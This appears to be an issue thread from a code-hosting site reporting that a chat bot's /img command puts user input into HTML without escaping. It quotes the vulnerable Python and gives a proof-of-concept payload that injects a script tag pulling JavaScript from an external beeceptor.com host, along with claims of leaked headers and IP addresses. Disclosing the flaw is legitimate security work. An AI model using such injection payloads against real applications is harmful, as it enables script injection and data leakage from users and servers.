Fix input handling for security purpose. #2

New Issue

h0nus · 2020-03-29T23:26:29+02:00

h0nus commented

2020-03-29 23:26:29 +02:00

Due to poor input sanitization, the call /img into bot is vulnerable to Blind XSS/SSRF

Vulnerable code:

if command.getMode() == "imageurl":
			contentText = InputTextMessageContent("<a href=\"" + qValue + "\">HonusBot</a>", "HTML")
		elif command.getMode() == "genericurl":
			contentText = InputTextMessageContent("<a href=\"" + qValue + "\">link</a>", "HTML")
		else:
			contentText = InputTextMessageContent("Error", "HTML")

qValue is inserted without sanitization into the HTML content, making it vulnerable to XSS/Blind XSS.

Poc part 1: /img "><script type="text/javascript" src="https://asdafasdas.free.beeceptor.com/first.js"></script><"

Poc part 2:
Screen 1, request to first.js

Screen 2, Headers leaked and also IP address could be leaked.

Poc part 3 - theoretically:
Since it's possible to abuse the function to inject Javscript/HTML, an attacker could do SSRF and use the bot as proxy or even read local files and send content to external host.

Due to poor input sanitization, the call /img into bot is vulnerable to Blind XSS/SSRF Vulnerable code: ``` if command.getMode() == "imageurl": contentText = InputTextMessageContent("<a href=\"" + qValue + "\">HonusBot</a>", "HTML") elif command.getMode() == "genericurl": contentText = InputTextMessageContent("<a href=\"" + qValue + "\">link</a>", "HTML") else: contentText = InputTextMessageContent("Error", "HTML") ``` qValue is inserted without sanitization into the HTML content, making it vulnerable to XSS/Blind XSS. Poc part 1: `/img "><script type="text/javascript" src="https://asdafasdas.free.beeceptor.com/first.js"></script><"` Poc part 2: Screen 1, request to first.js ![image](/attachments/220f6f23-79fa-4771-b0be-6bf14cf54824) Screen 2, Headers leaked and also IP address could be leaked. ![image](/attachments/81c7e867-71ee-4743-a3f8-932d7bb65a9b) Poc part 3 - theoretically: Since it's possible to abuse the function to inject Javscript/HTML, an attacker could do SSRF and use the bot as proxy or even read local files and send content to external host.

image.png

24 KiB

image.png

22 KiB

h0nus commented

2020-03-29 23:28:01 +02:00

Poc part 4 - IP Leak thanks to SSRF throught Javascript Injection.

Poc part 4 - IP Leak thanks to SSRF throught Javascript Injection. ![image](/attachments/7d43b864-4830-4e3c-b30e-523e53bd174d)

image.png

6.7 KiB

👎 1

davtur19 commented